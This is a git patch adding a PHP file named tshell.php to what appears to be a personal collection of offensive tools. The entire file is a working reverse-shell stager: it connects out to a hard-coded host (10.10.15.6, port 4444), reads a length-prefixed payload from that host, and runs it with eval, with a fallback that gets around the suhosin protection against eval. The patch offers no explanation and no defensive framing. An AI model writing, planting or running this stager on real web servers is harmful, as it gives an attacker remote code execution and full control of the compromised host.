From d63289b993e08a01cf8a7caf04a9a4ef7591e6ca Mon Sep 17 00:00:00 2001
From: H <409H@users.noreply.github.com>
Date: Tue, 19 Feb 2019 15:55:20 +0000
Subject: [PATCH] php: add tshell.php

---
 php/tshell.php | 87 ++++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 87 insertions(+)
 create mode 100644 php/tshell.php

diff --git a/php/tshell.php b/php/tshell.php
new file mode 100644
index 0000000..02ec031
--- /dev/null
+++ b/php/tshell.php
@@ -0,0 +1,87 @@
+<?php /**/
+error_reporting(0);
+$ip = '10.10.15.6';
+$port = 4444;
+
+if (($f = 'stream_socket_client') && is_callable($f))
+	{
+	$s = $f("tcp://{$ip}:{$port}");
+	$s_type = 'stream';
+	}
+
+if (!$s && ($f = 'fsockopen') && is_callable($f))
+	{
+	$s = $f($ip, $port);
+	$s_type = 'stream';
+	}
+
+if (!$s && ($f = 'socket_create') && is_callable($f))
+	{
+	$s = $f(AF_INET, SOCK_STREAM, SOL_TCP);
+	$res = @socket_connect($s, $ip, $port);
+	if (!$res)
+		{
+		die();
+		}
+
+	$s_type = 'socket';
+	}
+
+if (!$s_type)
+	{
+	die('no socket funcs');
+	}
+
+if (!$s)
+	{
+	die('no socket');
+	}
+
+switch ($s_type)
+	{
+case 'stream':
+	$len = fread($s, 4);
+	break;
+
+case 'socket':
+	$len = socket_read($s, 4);
+	break;
+	}
+
+if (!$len)
+	{
+	die();
+	}
+
+$a = unpack("Nlen", $len);
+$len = $a['len'];
+$b = '';
+
+while (strlen($b) < $len)
+	{
+	switch ($s_type)
+		{
+	case 'stream':
+		$b.= fread($s, $len - strlen($b));
+		break;
+
+	case 'socket':
+		$b.= socket_read($s, $len - strlen($b));
+		break;
+		}
+	}
+
+$GLOBALS['msgsock'] = $s;
+$GLOBALS['msgsock_type'] = $s_type;
+
+if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval'))
+	{
+	$suhosin_bypass = create_function('', $b);
+	$suhosin_bypass();
+	}
+  else
+	{
+	eval($b);
+	}
+
+die();